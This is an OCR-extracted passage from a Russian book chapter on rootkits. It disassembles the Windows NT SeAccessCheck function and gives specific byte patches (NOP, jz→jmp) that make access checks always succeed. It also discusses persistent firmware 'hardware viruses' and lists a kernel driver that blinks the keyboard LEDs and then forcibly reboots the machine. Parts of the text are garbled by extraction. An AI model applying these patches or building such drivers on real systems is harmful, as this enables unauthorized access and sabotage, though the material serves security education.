dows NT. Может ли случайное изменение одного бита (вызванное, например, вспле>
ском напряжения) в памяти компьютера привести к потере управления над всей
системой безопасности? Это вполне реально, если это случайное изменение значе>
ния бита происходит в главном контроллере домена. Многие критически важные
программные системы устойчивы к случайным ошибкам наподобие изменения зна>
чений одиночных битов, но это не относится к Windows NT. Очевидно, что устойчи>
вость к ошибкам не была целью команды разработчиков ядра Windows NT.
Ниже показан восстановленный исходный код одной из важнейших функций яд>
ра Windows NT SeAccessCheck(). Эта функция определяет, могут ли быть пре>
доставлены запрошенные права для доступа к объекту, который защищен с помо>
щью дескриптора безопасности и прав владельца объекта. Эта функция ядра управ>
ляет доступом ко всем объектам. Это означает, что при попытке любого пользователя
получить доступ к объекту в среде Windows NT, сначала произойдет обращение к
этой функции. Это справедливо для всех объектов, включая файлы, параметры рее>
стра, дескрипторы, семафоры и конвейеры. Возвращаемый функцией результат за>
висит от параметров управления доступом, установленных для запрошенного объек>
та. При этом выполняется сравнение между правами доступа пользователя и спи>
ском контроля доступа для запрашиваемого объекта. Ниже представлен результат
восстановления исходного кода этой функции, полученный с помощью программы
IDA>Pro.
8019A0E6 ;Exported entry 816.SeAccessCheck
8019A0E6
8019A0E6 ;
===================================================================
8019A0E6
8019A0E6 ;
П О Д П Р О Г Р А М М А
8019A0E6 ;Параметры:bp-based
frame
8019A0E6
8019A0E6
public
SeAccessCheck
8019A0E6 SeAccessCheck
proc near
8019A0E6
; sub_80133D06+B0p ...
8019A0E6
8019A0E6 arg_0
= dword ptr
8
;похоже, что указывает на
;дескриптор безопасности
8019A0E6 arg_4
= dword ptr 0Ch
8019A0E6 arg_8
= byte ptr 10h
8019A0E6 arg_C
= dword ptr 14h

350
8019A0E6
8019A0E6
8019A0E6
8019A0E6
8019A0E6
8019A0E6

Глава 8
arg_10
arg_14
arg_18
arg_1C
arg_20
arg_24

=
=
=
=
=
=

dword
dword
dword
dword
dword
dword

ptr
ptr
ptr
ptr
ptr
ptr

18h
1Ch
20h
24h
28h
2Ch

Обратите внимание, что программа IDA предоставила нам аргументы вызова
функции. Это очень удобно, поскольку теперь мы видим, как аргументы указывают>
ся в приведенном ниже коде. На этапе первого восстановления кода функции
SeAccessCheck(), она не была непосредственно документирована компанией
Microsoft, но была объявлена в заголовочных файлах, предоставленных в DDK, от>
куда она и вызывалась. Вызов этой функции выглядел следующим образом.
BOOLEAN
SeAccessCheck(
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
IN BOOLEAN SubjectContextLocked,
IN ACCESS_MASK DesiredAccess,
IN ACCESS_MASK PreviouslyGrantedAccess,
OUT PPRIVILEGE_SET *Privileges OPTIONAL,
IN PGENERIC_MAPPING GenericMapping,
IN KPROCESSOR_MODE AccessMode,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
);

При предоставлении доступа функция возвращает значение TRUE. То есть вся
хитрость заключается в том, чтобы создать такую заплату, при которой эта функция
всегда будет возвращать значение TRUE. За исключением нескольких внешних дей>
ствий, большая часть операций при вызове функции SeAccessCheck сконцентри>
рована в приведенном ниже фрагменте кода. Вызов осуществляется в конце функ>
ции SeAccessCheck, о чем можно судить по наличию команды retn. Очевидно,
что этот вызов важен, поскольку предоставляется большинство ключевых парамет>
ров. Как видите, вызову предшествуют 10 команд push. Это просто огромное коли>
чество параметров!
Поскольку большинство параметров передаются функции SeAccessCheck, то
похоже, что процедура представляет собой оболочку для чего>то на более глубоком
уровне. Что же, проведем более тщательное исследование.
8019A20C
8019A20C loc_8019A20C:
8019A20C
8019A20F
8019A212
8019A213
8019A216
8019A219
8019A21C
8019A21D
8019A21F
8019A222
8019A225

push
push
push
push
push
push
push
push
push
push
call

8019A22A
8019A22E
8019A230
8019A232
8019A233

cmp
mov
jnz
push
call

;CODE XREF:SeAccessCheck+106
[ebp+arg_24]
[ebp+arg_14]
edi
[ebp+arg_1C]
[ebp+arg_10]
[ebp+arg_18]
ebx
dword ptr [esi]
dword ptr [esi+8]
[ebp+arg_0]
sub_80199836 ;ниже декомпи–
; лированный код ***
[ebp+arg_8], 0
bl,al
short loc_8019A238
esi
SeUnlockSubjectContext

Наборы средств для взлома
8019A238
8019A238 loc_8019A238:
8019A238
8019A23A
8019A23A loc_8019A23A:
8019A23A
8019A23A
8019A23B
8019A23C
8019A23D
8019A23E
8019A23E SeAccessCheck

mov

pop
pop
pop
pop
retn
endp

351

;CODE

al,bl

edi
esi
ebx
ebp
28h

XREF:SeAccessCheck+14A

;CODE
XREF:SeAccessCheck+4C
;SeAccessCheck+65 ...

Здесь декомпилирован код для вызова sub_80199836. До этого момента мы не
вносили никаких изменений в исходный код, поскольку сначала мы хотели лучше
разобраться в ситуации. Следующая процедура вызывается непосредственно из
функции SeAccessCheck и выполняет реальную работу. Здесь мы и начнем вно>
сить исправления в ядро.
Программа IDA>Pro позволяет вносить комментарии в восстановленный исход>
ный код. Читатели могут видеть наши комментарии, которые мы делали при поша>
говом исследовании исходного кода. Чтобы понять происходящее, мы создали файл
на своем компьютере и установили для него права доступа, согласно которым доступ
был невозможен. Затем мы начали предпринимать попытки получить доступ к этому
файлу, одновременно установив с помощью программы SoftIce точки останова. При
достижении точки останова мы с помощью SoftIce начинали пошаговое исследова>
ние исходного кода. Ниже представлен результат без преувеличения сотен прогонов
через исходный код в реальном времени.
Следующий код представляет собой код программы, вызываемой из функции
SeAccessCheck. Похоже, что именно в этой подпрограмме выполняется большая
часть работы. Попробуем установить заплату в эту процедуру.
80199836 ;
==================================================================
80199836
80199836 ;
П О Д П Р О Г Р А М М А
80199836 ; Параметры :bp-based
frame
80199836
80199836 sub_80199836
proc near
; CODE XREF:PAGE:80199FFA
80199836
; SeAccessCheck+13F ...
80199836
80199836 var_14
= dword ptr -14h
80199836 var_10
= dword ptr -10h
80199836 var_C
= dword ptr -0Ch
80199836 var_8
= dword ptr -8
80199836 var_2
= byte ptr -2
80199836 arg_0
= dword ptr 8
80199836 arg_4
= dword ptr 0Ch
80199836 arg_8
= dword ptr 10h
80199836 arg_C
= dword ptr 14h
80199836 arg_10
= dword ptr 18h
80199836 arg_16
= byte
ptr 1Eh
80199836 arg_17
= byte
ptr 1Fh
80199836 arg_18
= dword ptr 20h
80199836 arg_1C
= dword ptr 24h
80199836 arg_20
= dword ptr 28h
80199836 arg_24
= dword ptr 2Ch
80199836
80199836
push
ebp
80199837
mov
ebp,esp
80199839
sub
esp,14h

352

Глава 8

8019983C
8019983D
8019983E
8019983F
80199841
80199844

push
push
push
xor
mov
mov

80199847
8019984A
8019984D
80199850

mov
mov
mov
cmp

80199852
80199854

jnz
mov

80199857
80199857 loc_80199857:
80199857

mov

8019985A
8019985D

mov
test

80199863

jz

80199865
80199868
8019986B
80199871
80199877

push
push
push
push
call

ebx
esi
edi
ebx,ebx
eax,[ebp+arg_8] ; pulls eax
[ebp+var_14],ebx ;ebx равен нулю
;похоже что он
; инициализирует
; набор локальных
; переменных
[ebp+var_C],ebx
[ebp-1],bl
[ebp+var_2],bl
eax,ebx
;проверяем что arg8
;равен нулю
short loc_80199857
eax,[ebp+arg_4] ;arg4 указывает
;на "USER32 "
edi,[ebp+arg_C] ;проверяем несколько
;флагов и снимаем
; этот флаг
[ebp+var_8],eax ;var_8 =arg_4
edi,1000000h
;очевидно флаги..
;желаемой маски
;доступа
short loc_801998CA
;обычно
здесь переход..
;двигаемся вперед
;и делаем переход
[ebp+arg_18]
[ebp+var_8]
dword_8014EE94
dword_8014EE90
sub_8019ADE0 ;еще одна недокументированная подпрограмма
al,al
;код возврата
short loc_80199890
ecx,[ebp+arg_24]
al,al
dword ptr [ecx],0C0000061h
loc_80199C0C

8019987C
test
8019987E
jnz
80199880
mov
80199883
xor
80199885
mov
8019988B
jmp
80199890 ;
==================================================================
здесь удаленный исходный код
801998CA ;
==================================================================
801998CA
801998CA loc_801998CA:
;здесь место выполненного
; выше перехода
801998CA
;sub_80199836
801998CA
mov
eax,[ebp+arg_0] ;arg0 указывает на
;Дескриптор безопасности
801998CD
mov
dx,[eax+2 ] ;смещение 2 которое есть
;числом 80 04...
801998D1
mov
cx,dx
801998D4
and
cx,4
;80 04 становится 00 04
801998D8
jz
short loc_801998EA ;обычно перехода
;не осуществляется
801998DA
mov
esi,[eax+10h] ;SD [10h] - значение
;смещения до DACL в
; SD
801998DD
test
esi,esi
;убедимся в существовании
801998DF
jz
short loc_801998EA

Наборы средств для взлома
801998E1
801998E4
801998E6

test
jz
add

801998E8

jmp

353
dh,80h
short loc_801998EC
esi,eax
;переход к первому DACL
;в SD ******
short loc_801998EC ;обычно здесь
все хорошо
;двигаемся вперед
;и выполняем переход

801998EA ;
==================================================================
801998EA
801998EA loc_801998EA:
;CODEXREF:sub_80199836+A2
801998EA
;sub_80199836+A9
801998EA
xor
esi,esi
801998EC
801998EC loc_801998EC:
;CODE XREF:sub_80199836+AE
801998EC
;sub_80199836+B2
801998EC
cmp
cx,4
; здесь цель перехода
801998F0
jnz
loc_80199BC6
801998F6
test
esi,esi
801998F8
jz
loc_80199BC6
801998FE
test
edi,80000h
;обычно здесь нет
;совпадения поэтому,
;двигаемся вперед
;и выполняем переход
80199904
jz
short loc_8019995E
***здесь удаленный исходный код ***
8019995E ;
==================================================================
8019995E
8019995E loc_8019995E:
;CODE XREF:sub_80199836+CE
8019995E
;sub_80199836+D4 ...
8019995E
movzx
eax,word ptr [esi+4] ;цель перехода
80199962
mov
[ebp+var_10],eax ;смещение 4 это
;количество элементов ACE в DACL
;var_10 =#Ace's
80199965
xor
eax,eax
80199967
cmp
[ebp+var_10],eax
8019996A
jnz
short loc_801999B7 ;обычный переход
***здесь удаленный исходный код ***
801999A2 ;
==================================================================
*** здесь удаленный исходный код ***
801999B7 ;
===================================================================
801999B7
801999B7 loc_801999B7:
;CODE XREF:sub_80199836+134
801999B7
test
byte ptr [ebp+arg_C+3 ],2 ;похоже
; на часть данных
;относительно флагов,
;мы обычно выполняем переход
801999BB
jz
loc_80199AD3
*** здесь удаленный исходный код ***
80199AD3 ;
==================================================================
80199AD3
80199AD3 loc_80199AD3:
;COD XREF:sub_80199836+185
80199AD3
mov
[ebp+var_C],0 ;здесь цель перехода
80199ADA
add
esi,8
80199ADD
cmp
[ebp+var_10],0 ;количество ACE
; равняется нулю?
80199AE1
jz
loc_80199B79
;обычно это не так
80199AE7
80199AE7 loc_80199AE7:
;CODE XREF:sub_80199836+33D
80199AE7
test
edi,edi
; регистр EDI очень

354

Глава 8

80199AE9

jz

80199AEF

test

80199AF3
80199AF5

jnz
mov

80199AF7

test

80199AF9

jnz

80199AFB
80199AFE
80199AFF
80199B02

lea
push
push
call

80199B07
80199B09

test
jz

;важен. Мы будем продолжать
;чтобы вернуться к этой точке.
;после проверки каждого ACE
; при совпадении SID
;с помощью маски доступа
; каждого элемента ACE
; изменяется регистр EDI.
;Доступ предоставляется, если
;в регистре EDI нет никакого
; значения (регистр пуст)
loc_80199B79 ;переход к процедуре.
; выхода (exit)
;если регистр EDI пуст
byte ptr [esi+1],8 ;проверка
; значения ACE
;равного 8,второй байт..
;я не знаю, что это
;но если оно не 8
;это не вычисляется
;и не имеет значения
short loc_80199B64
al,[esi]
;это тип ACE,
;который может быть 0,1 или 4
al,al ;значение 0 это ALLOWED_TYPE
;значение 1 это DENIED_TYPE
short loc_80199B14 ;переходим к
;следующему блоку если это
; не тип 0
eax,[esi+8] ;смещение 8 является SID
eax
;команда push для ACE
[ebp+var_8]
sub_801997C2 ;проверка того, что
;если вызывающая функция
; находит совпадение с SID
; возвращаемое значение 1
;говорит о совпадении,
; значение 0 говорит
; об отсутствии совпадения
al,al
short loc_80199B64 ;здесь совпадение
; вполне нас устраивает,
;поскольку это список ALLOWED
;таким образом a 2-байтовая
; заплата стирает этот
;переход
;

Итак, мы нашли первый бит кода, который следует исправить. Сравнение выпол>
няется между параметрами доступа, установленными для запрашиваемого объекта,
и правами доступа источника запроса. Выявление совпадения означает, что источ>
нику запроса разрешается доступ к цели запроса. Хакеру нужен постоянный доступ.
Если совпадения не наблюдается, выполняется переход с помощью команды jz
(jump if zero). Таким образом, чтобы соответствие всегда сохранялось, достаточно
стереть команду jz. На это уйдет 2 байта (0x90 0x90). Однако на этом дело не за>
кончено, есть еще несколько мест, в которых необходимо внести исправления.
80199B0B
80199B0E
80199B10

mov
not
and

eax,[esi+4]
eax
edi,eax
; вырезаем часть EDI при
;совпадении, на это
; может уйти несколько
;циклов. Помните, что
; нужно вырезать ВСЕ EDI

Наборы средств для взлома

355

80199B12
jmp
short loc_80199B64
80199B14 ;
==================================================================
80199B14
80199B14 loc_80199B14:
;CODE XREF:sub_80199836+2C3
80199B14
cmp
al, 4
; проверка типа 4 для ACE
80199B16
jnz
short loc_80199B4B ;обычно другой
; тип, поэтому выполняем
; переход
***здесь удаленный исходный код ***
80199B4B ;
==================================================================
80199B4B
80199B4B loc_80199B4B:
;CODE XREF:sub_80199836+2E0j
80199B4B
cmp
al,1
;проверка типа DENIED
80199B4D
jnz
short loc_80199B64
80199B4F
lea
eax,[esi+8] ;смещение 8 это SID
80199B52
push
eax
80199B53
push
[ebp+var_8]
80199B56
call
sub_801997C2 ;проверка SID
; запрашивающего
80199B5B
test
al,al
;совпадение здесь
; НЕЖЕЛАТЕЛЬНО,
; поскольку это
; означает ОТКАЗ
; (DENIED)
80199B5D
jz
short loc_80199B64 ;поэтому делаем
; вместо JZ обычный
; переход JMP
;

Мы обнаружили еще одно место, в котором необходимо внести изменения. Если
в предыдущем случае сравнивались требования уровня доступа запрашивающего
пользователя и требования, необходимые для доступа к цели запроса, то в данном
случае при выявлении совпадения происходит отказ в доступе. Очевидно, что мы
хотим этого избежать и не допустить совпадения. Переход с помощью команды jz
происходит только при выявлении совпадения. Мы можем установить заплату вме#
сто команды jz и использовать вместо нее команду jmp, при которой переход осу#
ществляется всегда, независимо от результатов предшествующих действий.
80199B5F

test

80199B62
80199B64
80199B64 loc_80199B64:
80199B64
80199B64

jnz

80199B67

inc

80199B6A

movzx

80199B6E
80199B70

add
cmp

80199B73
80199B79
80199B79 loc_80199B79:
80199B79
80199B79

jb

;CODE XREF:sub_80199836+2BD
;sub_80199836+2D3
ecx,[ebp+var_10] ;наша процедура
;цикла, вызванная выше
;var_10 это количество
;элементов ACE
[ebp+var_C] ;var_C это текущий
;элемент ACE
eax,word ptr [esi+2] ;байт 3 - это
;смещение до следующего ACE
esi,eax
;FFWD
[ebp+var_C],ecx ;проверяем все ли
; выполнили, если нет
loc_80199AE7 ;возвращаемся назад..

xor

;CODE XREF:sub_80199836+2AB
;sub_80199836+2B3
eax,eax
;это наша общая

mov

[esi+4],edi

;мы избегаем этой
; проверки флага с
; помощью заплаты
short loc_80199B79

356

Глава 8

80199B7B

test

80199B7D

jz

; процедура выхода
;если регистр EDI не пуст,
;то ранее было установлено
;состояние DENIED
short loc_80199B91
;поэтому,
; исправив JZ на JMP,
;мы навсегда избавимся от
; возвращения ACCESS_DENIED
;

edi,edi

Целью последней выполняемой здесь проверки является определение результата
вызова. Если по результатам предыдущих действий достигнуто состояние отказа в
доступе, то перехода с помощью команды jz не состоится. Очевидно, что мы хотим
добиться перехода при любых обстоятельствах, поэтому мы опять исправляем ко>
манду jz на jmp. Это последняя заплата, и теперь процедура всегда будет возвра>
щать значение TRUE. Для заинтересованных читателей приводим окончание кода
процедуры.
80199B7F
80199B82
80199B84

mov
mov
mov

ecx,[ebp+arg_1C]
[ecx ],
eax
eax,[ebp+arg_24]
; STATUS_ACCESS_DENIED
dword ptr [eax ],0C0000022h
al,al
short loc_80199C0C

80199B87
mov
80199B8D
xor
80199B8F
jmp
80199B91 ;
==================================================================
80199B91
80199B91 loc_80199B91:
;CODE XREF:sub_80199836+347
80199B91
mov
eax,[ebp+1Ch ]
80199B94
mov
ecx,[ebp+arg_1C] ;результирующий код
; в arg_1C
80199B97
or
eax,[ebp+arg_C ] ;передается в
;маску
80199B9A
mov
[ecx],
eax
80199B9C
mov
ecx,[ebp+arg_24] ;результирующий код
; arg_24,должен
; быть равен нулю
80199B9F
jnz
short loc_80199BAB ;если все раньше
;прошло хорошо, мы
; должны осуществить
; переход
80199BA1
xor
al,al
80199BA3
mov
dword ptr [ecx],0C0000022h
80199BA9
jmp
short loc_80199C0C
80199BAB ;
==================================================================
80199BAB
80199BAB loc_80199BAB:
;CODE XREF:sub_80199836+369
80199BAB
mov
dword ptr [ecx],0
80199BB1
test
ebx,ebx
80199BB3
jz
short loc_80199C0A
80199BB5
push
[ebp+arg_20]
80199BB8
push
dword ptr [ebp+var_2]
80199BBB
push
dword ptr [ebp-1]
80199BBE
push
ebx
80199BBF
call
sub_8019DC80
80199BC4
jmp
short loc_80199C0A
80199BC6 ;
==================================================================
здесь удаленный исходный код
80199C0A loc_80199C0A:
;CODE XREF:sub_80199836+123
80199C0A
;sub_80199836+152
80199C0A
mov
al,1

Наборы средств для взлома
80199C0C
80199C0C loc_80199C0C:
80199C0C
80199C0C
80199C0D
80199C0E
80199C0F
80199C11
80199C12
80199C12 sub_80199836

pop
pop
pop
mov
pop
retn
endp

357

;CODE XREF:sub_80199836+55
;sub_80199836+8F

edi
esi
ebx
esp,ebp
ebp
28h
;и выйти здесь!

Результат приведенной здесь заплаты заключается в том, что удаленный пользо>
ватель может подключаться к атакуемому компьютеру, используя анонимный
конвейер IPC$, даже без ввода пароля он способен уничтожать любой процесс,
изменять и загружать/перезаписывать базу данных SAM. Сложно назвать такую
ситуацию хорошей. Анонимному пользователю предоставляются возможности,
эквивалентные возможностям драйвера устройства с доступом к любой части защи>
щенной вычислительной системы атакованного домена.
На основе примера с военно>морским флотом США, можно сделать вывод, что
любая компьютерная программа, которая работает в пределах домена Windows NT,
может безнаказанно получать доступ к любой другой части домена. Так почему же
военно>морской флот упорно использует Windows NT?

Аппаратный вирус
Работая в ядре, мы получаем полный доступ к системе и можем взаимодейство>
вать с любой частью адресного пространства. Помимо всего прочего, это означает,
что мы можем читать и записывать данные в память BIOS на материнской плате или
в периферийных устройствах.
В “прежние времена” память BIOS хранилась в постоянной памяти (ROM) или в
памяти EEPROM, содержимое которых не могло изменяться с помощью программ>
ного обеспечения. В этих старых системах нужно было менять модули памяти или
вручную стирать и перезаписывать память. Безусловно, это было не очень эффек>
тивно, поэтому в новых системах используется память EEPROM, которую еще на>
зывают флэш>памятью. Содержимое флэш>памяти можно изменять с помощью про>
граммного обеспечения.
На конкретном компьютере может использоваться до нескольких мегабайтов
флэш>памяти на различных платах контроллеров и на материнской плате. Эта
флэш>память практически никогда не используется в полном объеме, что оставляет
огромные пространства памяти для записи программ “потайного хода” и вирусов.
Неоспорим тот факт, что очень трудно осуществлять аудит этих областей памяти и
содержимое этой памяти практически никогда нельзя просмотреть с помощью про>
граммных средств, запущенных на системе. Для доступа к аппаратной памяти требу>
ется доступ на уровне драйвера. Более того, эта память совершенно не зависит от пе>
резагрузки или переустановки системы.
Именно выживание “аппаратного вируса” после перезагрузки или переустановки
системы является одним из его важнейших преимуществ. Даже при подозрении о
компрометации системы, ее восстановление с магнитной ленты или с резервной ко>
пии не принесет пользы. Аппаратный вирус всегда был и останется одним из наибо>
лее тщательно хранимых секретов “черной магии” хакеров. Однако у аппаратного

358

Глава 8

вируса есть и существенный недостаток. Он работает только на конкретном компь>
ютере. То есть конкретный аппаратный вирус должен быть написан для “заражения”
конкретных аппаратных средств атакуемого компьютера. Это означает, что такой
вирус не может легко распространяться на другие компьютеры (если вообще сможет
распространяться). Однако для ведения информационных войн это не имеет серьез>
ного значения. Много раз аппаратные вирусы использовались для создания кон>
кретного “потайного хода” или для перехвата сетевого трафика. В таком случае от
вируса не требуется самостоятельного распространения.
Простой аппаратный вирус может предназначаться для передачи подложных
данных в систему или чтобы игнорировать определенные события. Представим себе
противовоздушную радарную систему, в которой используется операционная систе>
ма VX>Works. В системе есть несколько карт флэш>памяти. Внедренный в одну из
карт вирус получает привилегированный доступ к шине. Вирус предназначен только
для одной цели — заставить радар игнорировать цели определенных типов.
О вирусах было известно задолго до того, как они были реально выявлены и за>
писаны в памяти BIOS на материнской плате. В конце 1990>х годов так называемая
ошибка F00F (F00F bug) оказалась способна полностью вывести из строя переносной
компьютер. Хотя средства массовой информации широко разрекламировали вирус
CIH (также известный как вирус Чернобыль), но код, использовавшийся в BIOS,
3
был опубликован задолго до появления вируса CIH .
Память EEPROM широко используется на многих системах. Адаптеры Ethernet,
видеокарты и периферийные устройства мультимедиа — во всех этих устройствах
есть память EEPROM. В аппаратной памяти может содержаться флэш>прошивка,
или прошивка может использоваться только для хранения данных. Для установки
“потайного хода” предпочтительнее переписать прошивку, поскольку в данном слу>
чае на “потайной ход” не повлияют ни перезапуск, ни переустановка системы. Безус>
ловно, задача перезаписи прошивки требует доскональных сведений о периферий>
ных аппаратных средствах атакуемого компьютера. Однако в случае памяти BIOS на
материнской плате процедура достаточно проста.

Операции чтения и записи для энергонезависимой памяти
Модули энергонезависимой памяти используются в огромном количестве уст>
ройств: в блоках дистанционного управления телевизором, в проигрывателях ком>
пакт>дисков, в беспроводных и мобильных телефонах, в факсах, камерах, радиопри>
емниках, в самоходных тележках, в одометрах, в пропускных системах, принтерах и
ксероксах, модемах, пейджерах, в спутниковых телефонах, в устройствах сканирова>
ния штрих>кодов, в измерительных устройствах и тестерах.
Для доступа к флэш>памяти можно воспользоваться простыми командами in и
out. Обычно на модуле флэш>памяти находится управляющий регистр и порт дан>
ных. В управляющем регистре размещаются управляющие сообщения, а порт дан>
ных используется для осуществления операций чтения и записи во флэш>память. В
некоторых случаях используемая на чипе память “отображается” в физическую па>
мять, что означает возможность доступа как к простой последовательной памяти.
3

Более подробную информацию о вирусе CIH можно получить по адресу http://www.fsecure.com/cih/.

Наборы средств для взлома

359

Обычно команда передается в чип ROM>памяти с помощью команды out. В за>
висимости от использованного языка, в формате команд in и out могут быть не>
большие различия, но в целом они служат для выполнения аналогичных задач, как,
например, показано ниже.
OUT( some_byte_value, eeprom_register_address );

В системе Windows NT есть блоки памяти в диапазоне адресов между F0000000
и FFFFFFFF, в которых могут присутствовать пустые места. Размер программ
“потайного хода” или набора средств для взлома может составлять всего несколько
сотен байтов, поэтому найти пустое место для размещения такого кода не составит
особого труда. Эта область памяти используется различными периферийными уст>
ройствами и материнской платой. В памяти по адресам между 0000 и FFFF обычно
хранятся порты ввода>вывода различных устройств. Эта память может использо>
ваться для настройки параметров и других подобных задач. Участок памяти между
адресами F9000 и F9FFF размером в 4 Кбайт зарезервирован для памяти BIOS на
материнской плате. Область между адресами A0000 и C7FFF используется для раз>
мещения буферов видеоданных и данных о конфигурации видеокарты.

Операции чтения и записи для памяти, встроенной
в важнейшие устройства
В этом разделе мы продемонстрируем операции чтения из памяти и записи в па>
мять аппаратных средств с помощью набора средств для взлома. Кроме того, мы по>
кажем, как перезагрузить компьютер с разрушением прежнего программного обес>
печения (так называемая hard boot). Этот материал послужит прекрасной отправной
точкой для тех, кто хочет научиться управлять сложными аппаратными средствами
с помощью наборов средств для взлома.
Любопытная форма взаимодействия пользователя и компьютера может быть ор>
ганизована с помощью светодиодов на клавиатуре. Чип контроллера клавиатуры
8048 может использоваться для включения и выключения различных светодиодных
лампочек на клавиатуре. Это можно считать скрытой формой взаимодействия меж>
ду набором средств для взлома и пользователем терминала.
Мы добавили комментарии по ходу исполнения нашего кода.
// драйвер устройства для установки светодиодных ламп на клавиатуре
// взят с сайта www.rootkit.com
#include "ntddk.h"
#include
VOID rootkit_command_thread(PVOID context);
HANDLE gWorkerThread;
PKTIMER
gTimer;
PKDPC
gDPCP;
UCHAR g_key_bits = 0;

Далее приведены различные “определения” для операций с аппаратными средст>
вами. Они взяты из документации по чипу контроллера клавиатуры 8042. “Портом”
ввода>вывода является адрес 0x60 или 0x64, в зависимости от операции. Эти порты
предназначены для проведения однобайтовых операций. Управляющий байт 0xED
указывает, что мы хотим установить светодиод.

360

Глава 8

// команды
#define READ_CONTROLLER
#define WRITE_CONTROLLER

0x20
0x60

// управляющие байты
#define SET_LEDS
#define KEY_RESET

0xED
0xFF

// ответы от клавиатуры
#define KEY_ACK
#define KEY_AGAIN

0xFA // подтверждение
0xFE // отправить еще раз

// порты чипа 8042
// при чтении из порта 64 он называется STATUS_BYTE
// при записи в порт 64 он называется COMMAND_BYTE
// при операции чтения-записи на порту 64 он называется DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
// биты регистра состояния устройства
#define IBUFFER_FULL
0x02
#define OBUFFER_FULL
0x01

Когда мы отправляем команду для установки светодиодных лампочек, сразу после
этой команды должна следовать команда со значением другого байта. Во втором байте
указывается, какие светодиоды мы хотим переключить. Следующие биты указывают
на индикаторы для клавиш , и . Когда значе>
ние бита равно единице, то на клавиатуре загорается соответствующий индикатор.
// флаги для индикаторов на клавиатуре
#define SCROLL_LOCK_BIT
(0x01
чала мы ожидаем освобождения клавиатуры, а затем отправляем управляющий байт
0xFE на порт 0x64. Мгновенно происходит “жесткая” загрузка компьютера.
ULONG ResetPC()
{
if(TRUE == WaitForKeyboard())
{
DrainOutputBuffer();
WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );
}
else
{
DbgPrint("ResetPC::время ожидания клавиатуры\n");
return FALSE;
}
return TRUE;
}

Эта процедура ожидает освобождения памяти и затем отправляет специальный
управляющий байт на порт 0x60.
// записать байт в порт данных по адресу 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];

362

Глава 8

if(TRUE == WaitForKeyboard())
{
DrainOutputBuffer();
_snprintf(_t, 253, "SendKeyboardCommand::отправляем байт %02X
на порт 0x60\n", theCommand);
DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
DbgPrint("SendKeyboardCommand::отправка\n");

}
else
{

DbgPrint("SendKeyboardCommand::время ожидания до освобождения
клавиатуры\n");
return FALSE;
}
// TODO: ожидаем пакета ACK или RESEND от клавиатуры
}

return TRUE;

Это удобная процедура, в которой используется специальная битовая маска для
включения LED>индикаторов на клавиатуре. Для некоторых клавиатур включение
индикатора Num Lock означает переход в этот режим. Это проблема, но мы оставим
ее решение для наших читателей.
void SetLEDS( UCHAR theLEDS )
{
// подготовка для установки индикаторов LED
if(FALSE == SendKeyboardCommand( 0xED ))
{
DbgPrint("SetLEDS::ошибка при отправке команды клавиатуре\n");
}

}

// отправляем флаги для светодиодов
if(FALSE == SendKeyboardCommand( theLEDS ))
{
DbgPrint("SetLEDS:: ошибка при отправке команды клавиатуре\n");
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: вызвана функция OnUnload\n");
KeCancelTimer( gTimer );
ExFreePool( gTimer );
АЛ= 1,91ExFreePool( gDPCP );
}

Эта процедура представляет собой обратный вызов, который происходит каждые
300 мс. Согласно этому вызову, мы изменяем шаблон включенных индикаторов кла>
виатуры. В результате мы можем наблюдать красивую картинку мигающих на кла>
виатуре индикаторов. После 100 циклов процедура перезагружает компьютер.
Эта процедура вызывается с помощью отложенного вызова процедуры. После
выгрузки драйвера мы должны гарантировать отмену вызова отложенной процеду>
ры с помощью KeCancelTimer().
// вызывается периодически
VOID timerDPC(
IN PKDPC Dpc,

Наборы средств для взлома

{

}

363

IN PVOID DeferredContext,
IN PVOID sys1,
IN PVOID sys2)
if(!g_key_bits++) SetLEDS( 0x04 );
else
{
g_key_bits=0;
SetLEDS(0x01);
if(gCount++ > 100) ResetPC();
}

Главная процедура набора средств для взлома инициализирует и запускает тай>
мер с помощью вызова функции KeSetTimerEx(). Третий аргумент вызова (300)
представляет собой количество миллисекунд между событиями таймера.
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING theRegistryPath )
{
LARGE_INTEGER timeout;
theDriverObject->DriverUnload = OnUnload;
// these objects must be nonpaged
gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));
timeout.QuadPart = -10;
KeInitializeTimer( gTimer );
KeInitializeDpc( gDPCP, timerDPC, NULL );
if(TRUE == KeSetTimerEx( gTimer, timeout, 300, gDPCP)) // таймер 300 мс
{
DbgPrint("Таймер был уже поставлен в очередь..");
}
}

return STATUS_SUCCESS;

Этот листинг завершает наш пример по созданию драйвера устройства. Этот про>
стой драйвер можно усовершенствовать для управления другими аппаратными
средствами. Итак, помните, что небрежность в отношении аппаратных средств мо>
жет привести к серьезному ущербу для компьютера.

Разрешение операций чтения и записи для памяти EEPROM
В данном примере мы использовали предположение, что на нашем компьютере
используется материнская плата на основе чипсета 430TX. В качестве контроллера
используется чип 82439TX (MTXC). Следующие регистры “отображаются” в дос>
тупное пользователю адресное пространство.
CONFADD
0xCF8
Configuration Register
CONFDATA
0xCFC
Configuration Data Register

Регистр CONFADD управляет выбором PCI устройства. Каждое устройство на
PCI>шине может иметь 256 8>битовых “регистров”. Чтобы обратиться к регистру
конфигурации, сначала в регистр CONFADD должно быть занесено число, в котором
указываются номер устройства на шине, номер самого устройства, номер функции и
адрес конфигурационного регистра искомого устройства. Затем регистр CONFDATA

364

Глава 8

превращается в “окно”, в котором отображается около 4 байт конфигурационного
пространства. Любое обращение в регистр CONFDATA преобразуется в команды чте>
ния/записи для конфигурационного пространства согласно установкам в CONFADD
регистре.
Интересно отметить, что сам чип MTXC может рассматриваться как устройство
и вполне реально воспользоваться регистрами CONFADD/CONFDATA для настройки
самого этого чипа. Чтобы получить таблицы управляющих кодов и доступных пара>
метров чипа PCI, мы рекомендуем обратиться к официальной документации Intel.

Вирус CIH
